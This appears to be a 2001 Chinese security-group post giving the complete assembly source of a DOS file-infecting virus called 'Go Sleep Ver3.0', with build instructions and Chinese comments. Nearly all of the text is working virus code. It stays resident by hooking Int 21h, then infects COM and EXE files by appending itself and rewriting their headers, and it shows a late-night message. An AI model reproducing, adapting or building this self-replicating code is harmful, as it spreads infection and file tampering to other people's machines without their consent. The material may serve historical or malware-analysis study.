Author: whg
Email: whg@whitecell.org
Homepage:http://www.whitecell.org
Date: 2001-11-29
;此程序是d由v0病毒改裝升級(jí)而來(lái)
;在DOS下才有一定的傳染能力
;此程序部分應(yīng)用了32位編程
;制作方法如下
;tasm32 dv1;
;tlink dv1;
;Debug dv1.exe
;-n dv1.com
;-w
;-q
;最后生成dv1.com病毒程序
OFF equ Offset
DosMcb Struc ;Dos內(nèi)存控制鏈結(jié)構(gòu)（部分）
Flag db ? ;是'M'則不是最后一塊；是 'Z'則是最后一塊
Owner dw ? ;是008: 則是系統(tǒng)所有；是0則為未使用內(nèi)存塊
Sizes dw ? ;本塊大小，按節(jié)計(jì)算（1節(jié)=10h字節(jié)）
DosMcb Ends
ExeHeader Struc ;Exe文件頭結(jié)構(gòu)
Flags dw 'ZM';Exe文件標(biāo)志
ModSize dw ? ;Exe文件最后一頁(yè)字節(jié)數(shù)
Pages dw ? ;Exe文件頁(yè)數(shù)（1頁(yè)為512字節(jié)）
Reloc dw ? ;Exe文件從定位項(xiàng)數(shù)
MeSize dw ? ;本文頭節(jié)數(shù)
MinMem dw ? ;該程序所須最小內(nèi)存（節(jié)）
MaxMem dw ? ;該程序所須最大內(nèi)存（節(jié)）
StartSs dw ? ;程序Sp初值
StartSp dw ? ;程序相對(duì)Ss初值
CheckSum dw ? ;文件頭檢查和
StartIp dw ? ;程序Ip初值
StartCs dw ? ;程序相對(duì)Cs初值
RelocOff dw ? ;從定位信息偏移
ExeHeader Ends
VirusSize=OFF @@End-OFF @@Start ；（病毒大小）
VirusMemSize=OFF @@MemEnd-OFF @@Start ；（病毒需要的內(nèi)存大小）
.386
.model small
.code
org 100h ;按COM格式編寫
@@Start: ;病毒引導(dǎo)塊
pusha ;保存所有通用寄存器
mov ax,4d4dh
int 21h ;是否已經(jīng)駐留內(nèi)存(自定義中斷）
cmp ax,4d4dh
jz short @@ExecOldApp ;否,調(diào)用安裝模塊
call @@Install
@@ExecOldApp:
mov ah,2ch
int 21h ;得到系統(tǒng)時(shí)間
cmp cx,22*100h+30 ;（Cmp 時(shí)間：22：30）
jb short @@TestFlag ;不到22：30不調(diào)用顯示消息
call @@DisplayMsg ;調(diào)用表現(xiàn)塊
@@TestFlag:
clc ;預(yù)設(shè)為Clc指令，表示是Com文件（若在傳染時(shí)被改成Stc則是Exe文件）
jc short @@IsExeApp
@@IsComApp:
call @@GetOldComAppCode
OldAppCode dw 20cdh ;20cdh恰是Int 20h指令，用以返回Dos
dw 0000h ;這里為保存原COM文件頭部4字節(jié)信息
@@GetOldComAppCode:
pop si ;得到OldAppCode的地址
mov di,100h
cld
lodsd
stosd ;恢復(fù)原COM頭部4字節(jié)
popa ;恢復(fù)所有通用寄器
push word ptr 100h
ret ;去執(zhí)行原COM程序
@@IsExeApp:
popa ;恢復(fù)所有通用寄器
cli ;改變堆棧指針時(shí)要關(guān)閉中斷
mov sp,es ;得到Psp（ Sp=PSP段址）
add sp,10h
SpAddData dw 0c481h;0bch是add sp,xxxx指令
OldAppSs dw 000h ;原Exe文件Ss相對(duì)值
mov ss,sp ;計(jì)算出原程序堆棧并恢復(fù)
MoveDataToSp db 0bch ;0bch是mov sp,xxxx指令
OldAppSp dw 000h ;原Exe文件Sp值
sti ;從新開啟中斷
push ax
mov ax,es ;得到Psp（ Ax=PSP段址）
add ax,10h
AxAddData db 005h ;05h是add ax,xxxx指令,計(jì)算原程序Cs值
OldAppCs dw 000h ;原Exe文件Cs相對(duì)值
movzx esp,sp ;轉(zhuǎn)化為32位[esp]式堆棧尋址
xchg ax,[esp] ;恢復(fù)ax,而不能用"xchg ax,[sp]"16位不支持[sp]式堆棧尋址
PushWordData db 068h ;068h是push word ptr xxxx指令
OldAppIp dw 000h ;原Exe文件Ip值
retf ;去執(zhí)行原Exe程序
@@Install:
push ds
push es ;保存段寄存器
mov ax,ds
dec ax ;得到自己的MCB結(jié)構(gòu)段址，它在程序的PSP前
@@ContFindLastMcb:
mov ds,ax
cmp ds:[Flag],'Z' ;是最后一塊嗎？
jz short @@FoundLastMcb
add ax,ds:[Sizes]
inc ax ;計(jì)算下一個(gè)MCB 的段址=本塊段址+本塊大小+1
jmp short @@ContFindLastMcb
@@FoundLastMcb:
sub ds:[Sizes],(VirusMemSize/10h)+1 ;把最后一塊大小減去病毒所須內(nèi)存大小（節(jié)數(shù)）
add ax,ds:[Sizes]
inc ax ;計(jì)算出病毒在高端RAM的地址（即在最后一塊劃出的空間段址）
mov es,ax
xor di,di
push cs
pop ds ；復(fù)位數(shù)據(jù)段
call @@GetVirusBase
@@GetVirusBase:
pop si
sub si,OFF @@GetVirusBase-OFF @@Start ;得到病毒首址
mov cx,VirusSize
cld
rep movsb ;把病毒搬運(yùn)到高端地址
sub ax,10h ;計(jì)算出高端病毒的段地址（為使病毒偏移對(duì)齊，所以減去10h）
mov ds,ax
@@ContInstall:
mov ax,3521h
int 21h ;取Int 21h的中斷向量，并保存
mov ds:OldInt21Seg,es
mov ds:OldInt21Off,bx
lea dx,@@NewInt21
mov ax,2521h
int 21h ;設(shè)新的Int 21h處理程序到@@NewInt21處
pop es
pop ds
ret
@@NewInt21: ;新Int21 h服務(wù)程序(傳染塊）
cmp ax,4d4dh
jnz short @@NextHook
iret ;是自定義中斷，直接返回
@@NextHook:
cmp ah,4bh
jz short @@MyBeCom
cmp ah,43h
jz short @@MyBeCom
cmp ah,3dh
jz short @@MyBeCom ;截獲4b,43,3d號(hào)Dos功能
@@JmpOldInt21:
cli ; 進(jìn)入Int21h前，需要關(guān)中斷！
JmpFar db 0eah ;遠(yuǎn)跳轉(zhuǎn)指令jmp xxxx:xxxx
OldInt21Off dw ?
OldInt21Seg dw ?
@@CallInt21: ; 模擬Int 21h指令
pushf
push cs
call @@JmpOldInt21
ret
@@MyBeCom: ;入口參數(shù)ds:dx=以零結(jié)尾的Com文件名字符串
pusha
push ds
mov si,dx
xor al,al
@@ContFindExtName: ;找擴(kuò)展名
inc si
cmp [si],al
jnz short @@ContFindExtName
mov eax,[si-4]
or eax,20202020h ;轉(zhuǎn)化為小寫字母
cmp eax,'moc.' ;是.com文件嗎？
jz short @@IsComFile
cmp eax,'exe.' ;是.exe文件嗎？
jz short @@IsExeFile
@@ExitOpt:
pop ds
popa
jmp short @@JmpOldInt21
@@IsComFile:
mov ax,3d02h
call @@CallInt21 ;3dh,打開COM文件
jc short @@OptComFalse ;失敗
mov bx,ax
push cs
pop ds ;復(fù)位數(shù)據(jù)段
mov ds:byte ptr[@@TestFlag],0f8h ;設(shè)為Clc指令，表示傳染的是Com文件
lea dx,OldAppCode
mov cx,4
mov ah,3fh
int 21h ;讀文件首部4字節(jié)
jc short @@CloseComFile
mov si,dx
cmp word ptr[si],'ZM' ;是否是EXE文件（是否是Com文件不能僅由擴(kuò)展名判斷）
jz short @@CloseComFile ;是就不感染
cmp byte ptr[si+3],'V';是否有已感染病毒標(biāo)志
jz short @@CloseComFile ;是則說(shuō)明該程序已經(jīng)被感染了
mov ax,4202h
xor cx,cx
xor dx,dx
int 21h ;將文件指針移到文件尾，返回dx:ax=文件長(zhǎng)度
or dx,dx
jnz short @@CloseComFile ;文件太大不感染
mov dx,ax
add ax,VirusSize
jc short @@CloseComFile ;文件太大不感染
cmp ax,0fd00h
ja short @@CloseComFile ;文件太大不感染
sub dx,03 ;計(jì)算出Jmp Virus的偏移量
mov ds:JmpOffset,dx
lea dx,@@Start
mov cx,VirusSize
mov ah,40h
int 21h ;將病毒寫到文件尾部
mov ax,4200h
xor cx,cx
xor dx,dx
int 21h ;把文件指針移到文件首
mov cx,04h
lea dx,@@JmpVirus
mov ah,40h
int 21h ;寫Jmp Virus與病毒Flag 4字節(jié)到文件首部
@@CloseComFile:
mov ah,3eh
int 21h ;關(guān)閉文件
@@OptComFalse:
jmp short @@ExitOpt
@@IsExeFile:
mov ax,3d02h
call @@CallInt21 ;3dh,打開Exe文件
jc @@OptExeFalse ;失敗
mov bx,ax
push cs
pop ds ;復(fù)位數(shù)據(jù)段
mov ds:byte ptr[@@TestFlag],0f9h ;設(shè)為Stc指令，表示傳染的是Exe文件
lea dx,MyExeHeader
mov cx,size ExeHeader
mov ah,3fh
int 21h ;讀文件首部4字節(jié)
jc @@CloseExeFile
cmp ax,cx
jb @@CloseExeFile
mov si,dx
cmp word ptr[si.Flags],'ZM' ;是否是EXE文件（是否是EXE文件不能僅由擴(kuò)展名判斷）
jnz @@CloseExeFile ;不是就不感染
cmp [si.CheckSum],'VV' ;是否有已感染病毒標(biāo)志
jz @@CloseExeFile ;是則說(shuō)明該程序已經(jīng)被感染了
mov ax,4202h
xor cx,cx
xor dx,dx
int 21h ;將文件指針移到文件尾，返回dx:ax=文件長(zhǎng)度
cmp dx,8h
ja short @@CloseExeFile ;文件太大，可能是Windows應(yīng)用程序
shl edx,16
mov dx,ax
push edx ;保存文件大小
shr edx,4
sub dx,[si.MeSize] ;計(jì)算病毒在該Exe程序中新的相對(duì)Cs
and ax,0fh ;計(jì)算病毒在該Exe程序中新的Ip值(0=<Ip<10h)
mov cx,dx ;cx=dx=新的相對(duì)Cs值
xchg [si.StartCs],dx
mov ds:[OldAppCs],dx ;修改相對(duì)Cs值，保存原相對(duì)Cs值
xchg [si.StartSs],cx
mov ds:[OldAppSs],cx ;修改相對(duì)Ss值，保存原相對(duì)Ss值
xchg [si.StartIp],ax
mov ds:[OldAppIp],ax ;修改Ip值，保存原Ip值
xor ax,ax
xchg [si.StartSp],ax ;修改Sp值，保存原Sp值
mov ds:[OldAppSp],ax
mov [si.CheckSum],'VV';設(shè)置傳染標(biāo)志
pop edx ;彈出文件大小
mov ecx,VirusSize
add edx,ecx ;計(jì)算感染后文件的大小
mov ax,dx
and ax,1ffh ;計(jì)算感染后文件的ModSize
mov [si.ModSize],ax
add edx,1ffh
shr edx,9 ;計(jì)算感染后文件的Pages
mov [si.Pages],dx
lea dx,@@Start
mov ah,40h
int 21h ;將病毒寫到文件尾部
mov ax,4200h
xor cx,cx
xor dx,dx
int 21h ;把文件指針移到文件首
mov cx,size ExeHeader
lea dx,MyExeHeader
mov ah,40h
int 21h ;寫文件頭到文件首部
@@CloseExeFile:
mov ah,3eh
int 21h ;關(guān)閉文件
@@OptExeFalse:
jmp @@ExitOpt
@@JmpVirus:
JumpNear db 0e9h ;近轉(zhuǎn)移指令Jmp near xxxx
JmpOffset dw ?
VirusFlag db 'V' ;病毒標(biāo)志為'V'字符
@@DisplayMsg:
pop dx
push dx
add dx,OFF @@Message-OFF @@TestFlag ;計(jì)算@@Message的偏移量
push ds
push cs
pop ds
mov ah,09h
int 21h ;顯示信息，“夜已深，你該睡覺(jué)了!”
pop ds
ret
@@Message:
db 0ah,0dh,07h
db 'Night is deep,you must go sleep!'
db 0ah,0dh,'$'
db 'Go Sleep Ver3.0 by Whg 2001.5.2'
@@End:
MyExeHeader db size ExeHeader dup(?)
@@MemEnd:
end @@Start
WSS(Whitecell Security Systems)，一個(gè)非營(yíng)利性民間技術(shù)組織，致力于各種系統(tǒng)安全技術(shù)的研究。堅(jiān)持傳統(tǒng)的hacker精神，追求技術(shù)的精純。
WSS 主頁(yè)：http://www.whitecell.org/
WSS 論壇：http://www.whitecell.org/forum/
